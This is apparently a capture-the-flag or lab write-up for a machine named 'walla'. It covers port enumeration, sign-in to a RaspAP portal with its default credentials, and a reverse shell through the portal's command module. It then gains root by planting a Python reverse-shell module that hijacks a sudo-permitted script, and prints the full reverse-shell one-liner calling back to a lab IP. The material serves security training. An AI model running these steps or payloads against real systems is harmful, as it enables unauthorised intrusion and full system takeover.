

Enumeration

2021年7月14日 16:18

- 1: Use autorecon to enumerate its services, **22, 23, 25, 53, 442 (SSH), 8091, 42042 (SSH)** are open
- 2: Among these ports, **8091** is actually a **HTTP** service port. Access the URL
- 3: The Index Page has **basic authentication**, however, it prompts '**RaspAP**'
- 4: Search for this keyword, I know that it is a **WLAN management portal**. Its default credential is **admin:secret**, use it to sign in
- 5: After logging in the portal, there is a module can be used to execute shell command



- 6: Use the module to connect back a nc listener, get a reverse shell

Foothold

2021年7月14日 16:18

1: cd /home/walter/local.txt, get the flag

Privilege Escalation

2021年7月14日 16:18

1: Use **sudo -l** to check www-data's sudo permission without password

```
User www-data may run the following commands on walla:  
(ALL) NOPASSWD: /sbin/ifup  
(ALL) NOPASSWD: /usr/bin/python /home/walter/wifi_reset.py  
(ALL) NOPASSWD: /bin/systemctl start hostapd.service  
(ALL) NOPASSWD: /bin/systemctl stop hostapd.service  
(ALL) NOPASSWD: /bin/systemctl start dnsmasq.service  
(ALL) NOPASSWD: /bin/systemctl stop dnsmasq.service  
(ALL) NOPASSWD: /bin/systemctl restart dnsmasq.service
```

2: The **second line** catches my eyes, it is a **user-defined script**

3: However, the script can not be modified with current user's permission

4: Reading the code, the script imports a module called **wificontroller**

5: Execute **wifi_set.py**, and it says the module **can not be found**. It means, I can **forge a module** called wificontroller.py here

6: Execute **echo 'import pty;import**

socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' > /home/walter/wificontroller.py to forge a module to **hijack wifi_reset.py**

7: Set up another netcat listener, and execute **sudo /usr/bin/python /home/walter/wifi_reset.py**

8: Get a root shell

9: cat /root/proof.txt

Review

2021年7月14日 16:18

- 1: Target **HTTP** service with a **uncommon port**
- 2: Pay attention to the **prompt** of the basic authentication to figure out what the web service is, and search for its **default credential**
- 3: Find a module to execute shell command
- 4: Find **sudo permission misconfiguration**
- 5: On service localhost, port **631** is open, which is a printer related service. In order to get detailed info, I forward it to my local port 1631, but it is **not vulnerable**. Therefore, it is a **rabbit hole**
- 6: Apart from 5, **kernel version**, and some **services' version** are not vulnerable, at least **can not be exploited** with public exploits.